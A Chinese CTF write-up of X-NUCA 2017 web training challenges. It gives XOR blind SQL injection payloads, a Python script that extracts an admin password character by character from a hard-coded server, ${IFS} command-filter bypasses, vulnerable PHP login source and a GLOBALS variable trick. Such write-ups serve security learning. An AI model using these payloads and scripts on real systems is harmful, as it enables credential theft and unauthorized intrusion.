0X0、前言

X-NUCA 2017来了,想起2016 web专题赛,题目都打不开,希望这次主办方能够搞好点吧!还没开赛,依照惯例会有赛前指导,放一些训练题让CTFer们好感受一下题目。

题目有一大部分是去年的题,简单过了一遍,重点放在那几道新题。

有五道新题,自己又不是专业CTFer,菜鸡一枚,做多少记录多少。

目前做出了《阳光总在风雨后》和《default》,《Document》get了shell,但无奈死活找不出flag。

下面是题解,不定期更新题目WP

0X1、阳光总在风雨后

1、sql注入绕过

先看题,没有文件泄露,只有一个登录框,测试了一下是有注入的。

用户名:admin 密码:1 提示密码错误

用户名:admin' 密码:1 提示用户名错误

由上面的测试,我们知道存在用户名admin,没有错误回显,应该是盲注,存在注入的地方是用户名。

弄明白注入类型之后,就可以对症下药了。

但是应该没有那么简单,果然测试了之后发现过滤了不少关键字,下面简要说一下测试过程,可能说的不是很清楚。

正常情况下,用户名没有输错,返回的是密码错误,而admin'返回的是用户名错误,也就是说用户名的sql语句存在错误就会返回用户名错误

在后面加一个空格试一下?

返回提示说非法字符,空格被过滤了。

再试一下其他的字符? 如: or ,and,| 之类的

or 也被过滤了。

到这里我们就知道如果输出的关键字被过滤了,就会返回illegal character!!@_@ 。

我做的时候是手动fuzz的,当然我们可以用burpsuite来fuzz,跑一下就OK了。这里就不多说了

最终fuzz发现^是没有过滤的。那就可以用这个来盲注了。对xor注入不了解这么办?问度娘呗。

百度搜索:"xor 注入",看到这篇文章

最终我们知道xor注入的一些判断。

真^真 = 假

真^假 = 真

假^真 = 真

假^假 = 假

一句话总结就是: 相同为假,相异为真

再看看sql注入绕过之类的wp,百度搜索:"ctf sql注入绕过"

找到了一些文章,而在这篇《CTF比赛中的SQL注入的一些经验总结》里面找到了类似的payload。

善用搜索引擎,就是这么简单。简要说明下payload的意思

^(ascii(mid((passwd)from(1)))>10)^'1'='1

1,ascii 是对某个字符求ascii码,最左边的字符串str返回的数值

2,mid 用于得到一个字符串的一部分

MID() 函数语法为:

  1. SELECT MID(ColumnName, Start [, Length]) from Tablename

注:字符串从1开始,而非0,Length是可选项,如果没有提供,MID()函数将返回余下的字符串。

而这里mid语法貌似有点怪异,为什么会是mid((passwd)from(1))呢?其实意思是一样的。我们做个测试。

可以看到from 1就相当于mid(str,1)

看一下一整句,ascii(mid(('test')from(1))) ,为什么这里返回的ascii码会是116呢?(116是字母't'的ascii码)

那是因为ascii函数是对目标字符串最左边的字符求ascii码,测试如下:

好了,那么整一句sql语句的意思就解释清楚了。

^(ascii(mid((passwd)from(1)))>=10)^'1'='1 passwd字段的内容首字母的ascii码是否大于等于10

^(ascii(mid((passwd)from(1)))>=100)^'1'='1   passwd字段的内容首字母的ascii码是否大于等于100

^(ascii(mid((passwd)from(2)))>=100)^'1'='1 passwd字段的内容第二个字母的ascii码是否大于等于100

依次类推。。。

^(ascii(mid((passwd)from(1)))>=10)^'1'='1  其中是字母的位置,表示第几个字符 ,是字母的ascii码。

理解清楚了payload的意思,接下来就是写脚本,去跑密码就可以了。

脚本代码:

  1. # -*- coding:utf-8 -*-
  2. # @Date: 2017/08/11 14:12
  3. # @Author: r00tuser
  4. # @Blog: http://cnblogs.com/r00tuser/
  5.  
  6. import requests
  7. import re
  8.  
  9. def sqli():
  10. url = 'http://218.76.35.74:20130/login.php'
  11. data = {
  12. 'uname':'',
  13. 'passwd':''
  14. }
  15. flag = ''
  16. for i in range(1,33):
  17. for c in range(1,128):
  18. payload = "admin'^(ascii(mid((passwd)from(%d)))>=%d)^'1'='1" % (i, c)
  19. data['uname'] = payload
  20. response = requests.post(url,data=data).content
  21. if 'username error!!' in response:
  22. flag += chr(c-1) # 因为判断的是大于等于,所以要减去一
  23. print flag
  24. break
  25. if __name__ == '__main__':
  26. sqli()

成功拿到密码

t00ls工具解密得到

ps:当时解出来的时候还是很爽的:)

还有一点没解释,就是代码里为什么判断username error!!的时候为注入出正确的字符的时候呢?这里就不多说了。提示:想想xor语法和认真看一下文章前面。


2、命令执行绕过

在得到了前面的密码之后,我们就可以登录上去了。登录上去之后是一个只有命令执行功能的界面

而这个命令执行也是做了过滤的。

先说说思路:列目录查看一些必要信息,fuzz过滤的关键字,思考有没有办法绕过,目标是查看服务器中的文件内容,因为flag就在里面。

下面说一下便捷快速的解法:

fuzz发现过滤了php关键字与及空格,还有就是cat什么的是没有办法出数据的,ls命令列出的是最后一行的内容

那么想办法绕过,百度找资料,找到这篇文章。http://www.freebuf.com/articles/web/137923.html(浅谈CTF中命令执行与绕过的小技巧)

1,空格绕过,用${IFS}代替空格。

2,寻找更多的信息,ls命令的使用

先列一下当前目录包含了哪些文件:

可以看到有index.php

查看当前目录位置,查看上级目录内容:

执行一下pwd

发现上面还有一个/var/www/html目录

看一下上级目录包含了什么,

命令:ls${IFS}/var/www/html

发现了login.php。但是由于只返回一行,我们看到的内容有限。

这里先补一下ls命令参数的作用

对了,还有一个-r以文件名反序排列

接下来就是灵活使用命令以不同的方式排序,以获取更多的信息。

执行命令:ls${IFS}-r${IFS}/var/www/html

我们发现了一个类似于md5的'文件'(一开始我以为是文件,其实这里是目录,专业的ctfer一看就知道是目录了)

接下来我们验证一下文件类型。

命令:ls${IFS}-rF${IFS}/var/www/html

可以发现其实是个目录,那么我们接着列一下这个目录看看下面有什么

命令:ls${IFS}-rF${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4

发现了一个似乎包含flag的php文件。

浏览器直接访问就可以得到flag了。

至此,这道题算是解出来了。其实主要就是ls命令的参数的活用,与及空格的绕过

写题解的时候看似很简单,其实做的时候查了很多资料,绕了很多弯路。一开始的想法就是想着读取文件,用curl结合远程服务器读取了几个文件,发现没有flag。然后想着用ls命令来读取更多的内容,算是误打误撞解出来的。其实题目一开始就有提示,输入框里面提示了ls :)

最后给一下前面登录的源码(绕弯路的是得到的)

  1. <?php
  2. header("Content-Type:text/html;charset=utf-8");
  3. error_reporting(E_ERROR);
  4. define ('PATH_WEB', dirname(__FILE__).'/');
  5. require_once(dirname(__FILE__).'/include/conf.php');
  6. require_once(dirname(__FILE__).'/include/fiter.php');
  7. #var_dump($_SESSION);
  8. if($_SESSION['flag'] === 1){
  9. header("location:./admin/");exit;
  10. }
  11. #echo $_POST['uname'].'````'.$_POST['passwd'];
  12. if($_POST['uname'] && $_POST['passwd']){
  13. $obj = new fiter();
  14. $uname = $obj->sql_clean($_POST['uname']);
  15. $passwd = md5($_POST['passwd']);
  16. $query="SELECT * FROM admin WHERE uname='".$uname."'";
  17. $result=mysql_query($query);
  18. #var_dump($result);
  19. if ($row = mysql_fetch_array($result)){
  20. #print_r($row);echo "\n\r<b";
  21. if ($row['passwd']===$passwd){
  22. $_SESSION['flag'] = 1;
  23. #echo $_SESSION['flag'];
  24. header("location:./admin/");exit();
  25. }
  26. else{
  27. echo "<script>alert('password error!!@_@');parent.location.href='index.php'; </script>"; exit();
  28. }
  29. }
  30. else{
  31. echo "<script> alert('username error!!@_@');parent.location.href='index.php'; </script>"; exit();
  32. }
  33. }
  34. else {
  35. echo "<script> alert('username and password must have a value!!@_@');parent.location.href='index.php'; </script>";exit();
  36. }
  37. ?>

0X2、default

这道题其实很简单,描述给了提示,就是要扫文件。

扫出来了一个文件index1.php

提示flag在变量里面,而且这道题在i春秋里面出过。

直接?args=GLOBALS就出来了。

至于为什么是这样子,请查看php手册


0X3 总结

至此,算是解释清楚了两道题,好久没有写过这么详细的题解了。剩下的几道题加油做了,做出来的话会第一时间发上来。

0x04 参考资料

0,http://www.cnblogs.com/REscan/p/7043705.html CTF比赛中SQL注入的一些经验总结

1,http://www.freebuf.com/articles/web/137923.html 浅谈CTF中命令执行与绕过的小技巧
2,http://www.cnblogs.com/luying--lulu/p/5314963.html  linux下查看文件内容的命令总结
3,http://www.cnblogs.com/subsir/articles/2575038.html sed命令,指定查看某一行
4,http://man.linuxde.net/ls ls命令全解

X-NUCA 2017 web专题赛训练题 阳光总在风雨后和default wp的更多相关文章

  1. 2017河工大校赛补题CGH and 赛后小结

    网页设计课上实在无聊,便开始补题,发现比赛时候僵着的东西突然相通了不少 首先,"追妹"这题,两个队友讨论半天,分好多种情况最后放弃(可是我连题目都没看啊),今天看了之后试试是不是直 ...

  2. 2017乌鲁木齐网络赛 j 题

    题目连接 : https://nanti.jisuanke.com/t/A1256 Life is a journey, and the road we travel has twists and t ...

  3. 2017乌鲁木齐区域赛D题Fence Building-平面图的欧拉公式

    这个题B站上面有这题很完整的分析和证明,你实在不懂,可以看看这个视频  https://www.bilibili.com/video/av19849697?share_medium=android&a ...

  4. hdu6229 Wandering Robots 2017沈阳区域赛M题 思维加map

    题目传送门 题目大意: 给出一张n*n的图,机器人在一秒钟内任一格子上都可以有五种操作,上下左右或者停顿,(不能出边界,不能碰到障碍物).题目给出k个障碍物,但保证没有障碍物的地方是强联通的,问经过无 ...

  5. PTA天梯赛训练题L1-064:估值一亿的AI核心代码(字符串模拟)

    Update:smz说regex秒过Orz,yzd记在这里了. 听说今年天梯赛有个烦人的模拟,我便被队友逼着试做一下……一发15,二发20.记一记,要不然枉费我写这么久…… 自己还是代码能力太菜了,校 ...

  6. 2017乌鲁木齐网络赛 J题 Our Journey of Dalian Ends ( 最小费用最大流 )

    题目链接 题意 : 给出一副图,大连是起点,终点是西安,要求你求出从起点到终点且经过中转点上海的最小花费是多少? 分析 : 最短路是最小费用最大流的一个特例,所以有些包含中转限制或者经过点次数有限制的 ...

  7. Infinite Fraction Path HDU 6223 2017沈阳区域赛G题题解

    题意:给你一个字符串s,找到满足条件(s[i]的下一个字符是s[(i*i+1)%n])的最大字典序的长度为n的串. 思路:类似后缀数组,每次倍增来对以i开头的字符串排序,复杂度O(nlogn).代码很 ...

  8. HDU 6205 2017沈阳网络赛 思维题

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=6205 题意:给你n堆牌,原本每一堆的所有牌(a[i]张)默认向下,每次从第一堆开始,将固定个数的牌(b ...

  9. 2017北大校赛 J题 pairs

    题目链接 http://poj.openjudge.cn/practice/C17J/ orz 原来是一道无脑枚举题目 只是很卡常数而已 复杂度算错也是很醉orz 当时怎么没想着优化常数呢 题解:枚举 ...

随机推荐

  1. Java注解--实现简单读取excel

    实现工具类 利用注解实现简单的excel数据读取,利用注解对类的属性和excel中的表头映射,使用Apache的poi就不用在业务代码中涉及row,rows这些属性了. 定义注解: @Retentio ...

  2. 【Android Developers Training】 44. 控制你应用的音量和播放

    注:本文翻译自Google官方的Android Developers Training文档,译者技术一般,由于喜爱安卓而产生了翻译的念头,纯属个人兴趣爱好. 原文链接:http://developer ...

  3. Binder的工作原理浅析

    在Android开发中,Binder主要用于Service中,包括AIDL和Messenger,其中Messenger的底层实现就是AIDL,所以我们这里通过AIDL来分析一下Binder的工作机制. ...

  4. JAVA基础——编程练习(二)

    JAVA编程练习(二) 今天我为了巩固之前的java基础知识的学习,再次进行实战演习,编写了一个小小的java控制台程序,主要是运用java面向对象的思想来完成这个小项目. 一.项目背景介绍 根据所学 ...

  5. flex sqlite基本用法

    flex sqlite基本用法 页面 <?xml version="1.0" encoding="utf-8"?> <s:WindowedAp ...

  6. MyBatis源码解析【2】构建项目

    有了之前的准备,今天就要开始构建学习使用的项目了.废话不多说.开始吧. 首先我用IDEA构建了一个空的maven项目,然后加入了Mybatis的依赖. <dependencies> < ...

  7. [基础架构]PeopleSoft Application Server 重要文件说明

    我们都知道PeopleSoft是由几个不同的服务组成的,他们在PeopleSoft体系结构中扮演着自己的角色.这些服务具有不同的文件结构并包含重要的可执行文件和配置文件. 以下是Peoplesoft体 ...

  8. 在Linux环境如何在不解压情况下搜索多个zip包中匹配的字符串内容

    今天有个生产文件需要查日志,但因为是比较久远的故障,日志已经被归档为zip包放到某个目录下了,在不知道具体日期时间的情况下,总不能一个一个解压搜索吧.于是就研究一下怎么在多个压缩包里搜索字符串了.目前 ...

  9. Eclipse中常用快捷键

    Ctrl+C:复制. Ctrl+V:粘贴. Ctrl+X:剪切. Ctrl+S:保存. Ctrl+Z:撤销. Ctrl+A:全选. F3:快速定位光标位置的某个类.方法和属性. Ctrl+Q:跳到最后 ...

  10. blob 和 sas

    Blob是什么? 请看上篇文章简单总结下关于blob的图片上传 在使用Blob图片上传的时候碰到许多问题,比如如何使用用户名密码下载文件啊什么的 今天就记录一下我碰到的最大的问题 如何匿名去访问你上传 ...